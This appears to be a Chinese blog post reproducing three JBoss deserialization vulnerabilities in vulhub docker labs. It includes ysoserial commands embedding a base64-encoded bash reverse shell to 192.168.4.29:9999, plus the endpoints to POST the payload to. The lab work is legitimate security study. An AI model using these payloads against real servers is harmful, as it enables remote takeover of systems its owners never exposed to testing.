vulhub漏洞复现79_Jboss

前言

Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

一、 CVE-2017-12149_JBoss 5.x/6.x 反序列化漏洞

漏洞详情

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

测试环境

靶场:192.168.4.10_ubuntu

#docker-compose up -d

首次执行时会有1~3分钟时间初始化,初始化完成后访问`http://your-ip:8080/`即可看到JBoss默认页面。

漏洞复现

1. 编写反弹shell的命令

我们使用bash来反弹shell,但由于`Runtime.getRuntime().exec()`中不能使用管道符等bash需要的方法,我们需要用进行一次编码。

工具:http://www.jackson-t.ca/runtime-exec-payloads.html

 

2. 序列化数据生成

 

使用[ysoserial](https://github.com/frohoff/ysoserial)来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:

```

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i} " > poc.ser

```

3. 发送POC

生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可:

 成功反弹shell:

 

二、 CVE-2017-7504_ JBoss 4.x JBossMQ JMS 反序列化漏洞

漏洞详情

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

参考:

- https://github.com/joaomatosf/JavaDeserH2HC

- https://www.youtube.com/watch?v=jVMr4eeJ2Po

漏洞环境

执行如下命令启动JBoss AS 4.0.5:

#docker-compose up -d

环境启动后,目标为`http://your-ip:8080`。

漏洞复现

该漏洞出现在`/jbossmq-httpil/HTTPServerILServlet`请求中,同上,我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload:

```

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQuMjkvOTk5OSAwPiYxCg==}|{base64,-d}|{bash,-i}" > 1.ser

```

 我们将1.ser文件内容作为POST Body发送:

 执行`docker-compose exec jboss bash`进入容器,可见`/tmp/success`已成功创建。

 

三、 JBoss JMXInvokerServlet 反序列化漏洞

漏洞详情

这是经典的JBoss反序列化漏洞,JBoss在`/invoker/JMXInvokerServlet`请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

参考文档:

-https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

- https://www.seebug.org/vuldb/ssvid-89723

 - http://www.freebuf.com/sectool/88908.html

 - https://paper.seebug.org/312/

漏洞环境

#docker-compose up -d

首次执行时会有1~3分钟时间初始化,初始化完成后访问`http://your-ip:8080/`即可看到JBoss默认页面。

漏洞复现

JBoss在处理`/invoker/JMXInvokerServlet`请求的时候读取了对象,所以我们直接将[ysoserial](https://github.com/frohoff/ysoserial)生成好的POC附在POST Body中发送即可。整个过程可参考[jboss/CVE-2017-12149](https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149),我就不再赘述。

 获取shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值